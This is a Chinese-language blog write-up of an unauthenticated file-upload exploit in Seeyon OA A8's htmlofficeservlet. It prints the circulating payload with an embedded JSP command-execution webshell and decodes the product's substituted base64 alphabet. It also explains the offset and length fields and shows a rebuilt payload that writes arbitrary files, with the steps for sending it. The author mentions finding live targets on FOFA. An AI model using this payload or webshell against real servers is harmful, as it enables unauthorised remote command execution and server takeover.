致远oa漏洞payload分析
————背景说明————
致远 OA 系统中,A8的一些版本存在任意文件写入漏洞。攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet 以POST方式上传特殊构造的数据,以此向目标服务器写入任意文件,包括webshell,目前大多数使用某payload上传cmd马,写入成功后可执行任意系统命令进而控制目标服务器。
由于我也遇到过相关的站,搜索到相同的payload。其实也不是专门搜索这个playload,主要是网上搜这个漏洞,复现博客给的就只有这个playload,这就很尴尬,作为一个辣鸡,跟代码分析的话,代码且不说我没有,有我也不怎么会,我不会,可是我又不想用这个playload,名字test123456.jsp太丑了,比较爱传吴彦祖.jsp,陈冠希.jsp这种,而且可以传文件,传个马连接冰蝎不香吗,cmd马我不太会用。所以,我就开始整这个payload。
————实验过程————
首先检测这个漏洞,主要是访问url:http://xxx/seeyon/htmlofficeservlet,看是否有如下相关界面。其实也容易,因为要么就没文件,要么就空白,要么就是有界面。
如果有了这个界面,那其实也啥用没有,因为网上很多说有这个界面就代表这个漏洞检测存在了,其实不是,我试了十来个站,实践证明有这个界面也是不一定存在这个洞的。
不过可能是在之前,确实是有这个界面就是存在这个漏洞,但是这个漏洞爆出来以后,各种补救措施以及魔改,所以导致现在有这个界面也不一定有洞了。
这是一个任意文件上传漏洞,通过传马getshell,以下是网上广为流传的payload:
DBSTEP V3.0 355 0 666
DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd33445".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce
(网上DBSTEP=PLMLIKLV是在第一行,我试了几次觉得这个应该放在第二行在后续构造其他payload的时候会好一些)
通过构造post请求数据包(后面会讲),就可以产生如下效果
http://www.xxx.com/seeyon/test123456.jsp?pwd=asasd3344&cmd=ipconfig
不过目前清一色传的都是这个。在背景里说了,我是不愿意的,我想传陈冠希.jsp,所以需要了解一下这个payload具体的内容。
首先是他编码方式,这个编码方式我就直接说了,因为我也是看某大佬分析的,让我分析我也不会,这个编码方式是base64的变种。
(大佬的文章链接:https://paper.seebug.org/964/)
大概意思主要是围绕这两个关键的代码
public String GetMsgByName(String FieldName) { int i = 0; int j = 0; String mReturn = ""; String mFieldName = FieldName.trim().concat("="); i = this._$906.indexOf(mFieldName); if (i != -1) { j = this._$906.indexOf("\r\n", i + 1); i += mFieldName.length(); if (j != -1) { String mFieldValue = this._$906.substring(i, j); mReturn = this.DecodeBase64(mFieldValue); return mReturn; } return mReturn; } return mReturn; }
public String DecodeBase64(String Value) { ByteArrayOutputStream o = new ByteArrayOutputStream(); String m = ""; byte[] d = new byte[4]; try { int count = 0; byte[] x = Value.getBytes(); while (count < x.length) { for (int n = 0; n <= 3; ++n) { if (count >= x.length) { d[n] = 64; } else { int y = this._$903.indexOf(x[count]); if (y < 0) { y = 65; } d[n] = (byte)y; } ++count; } o.write((byte)(((d[0] & 63) << 2) + ((d[1] & 48) >> 4))); if (d[2] == 64) continue; o.write((byte)(((d[1] & 15) << 4) + ((d[2] & 60) >> 2))); if (d[3] == 64) continue; o.write((byte)(((d[2] & 3) << 6) + (d[3] & 63))); } } catch (StringIndexOutOfBoundsException e) { this._$907 = this._$907 + e.toString(); System.out.println(e.toString()); } try { m = o.toString(this.Charset); } catch (UnsupportedEncodingException ea) { System.out.println(ea.toString()); } return m; }
好,代码看完了,你们一定都看懂了,那就这样。
其实按我个人的理解,这可以理解成进行了base64以后,又进行一次替换加密,把原本的base64编码结果替换成了另一种结果。
具体的对应结果如下:
base64密文:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
变换后密文:FxcYg3UZvtEz50Na8G476=mLDI/jVfC9dsoMAiBhJSu2qPKe+QRbXry1TnkWHlOpw
那么,到这里编码就搞定了,错了,其实并没有。
由于这个oa源码不是开源的,所以这只是一套很老的对应结果,现在的替换应该是已经被改过了,参考大佬的分析,现在的对应结果如下:
base64密文:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
变换后密文:gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6
那么,到这里编码就搞定了,所以payload里的内容,比如filename就知道是个啥了
写了一个替换程序
然后解密出的base64进行解码,得到如下:
那么接下来改文件名,再编码再替换,不就可以了,我可真是个小天才。
其实也不太行,把文件名改了,把文件内容换了,并没有成功上传文件,这里涉及了两个数字参数的分析。
DBSTEP V3.0 355 0 666
首先是355,在这里意思是从这个payload,第355个字符开始读内容写入文件。
不过我试了一下,发现原payload文件内容之前的所有部分字数统计有399,那这是为什么呢。
想了一下会不会第一行只是参数设定,并不在计算范围内,所以我淘汰了第一行,进行第二次字符统计。
这时有335个字符了,还是不到355个,思考了一下,数了一共十行,每行就是少两个,换行符呗,小天才实锤。
接下来是666,666在payload中是读取要写入的内容长度,就是要写的东西的长度。
于是我统计了原payload里的这个马的内容,发现是698个字符,又对不上,我又傻了。
仔细看了一下,发现最后面多了一串hash
我寻思hash在这个马里写进入好像也没啥用,应该不是要写的,所以没统计这部分,然后发现字符对上了,小天才二次实锤
那么这个hash是个啥玩意,我搜了一下,发现他是这个jsp的md5,好像没啥用。
那么就都差不多了,感觉其他的内容也不重要,就通过编码和这两个参数构造了payload传了测试的txt
DBSTEP V3.0 347 0 18 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdNEQ/qHOuNg66 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 my name is wuyanzu
构造post请求包的方式就是,访问htmlofficeservlet的时候,抓个包
然后改变请求方式
接着带上payload即可。
由于是fofa上找的目标,就不传马了,影响不好,这方面我还是很严肃的。
我装的。
最后,知道payload的原理,就可以自己写exp或者工具传想要的马了,我没写。
最后的最后,其实那串hash好像还是有用的,因为有时候读取的时候发现初始字符或者最后几个字符没有写进去,用hash填充,应该是为了凑字数。
——结束撒花——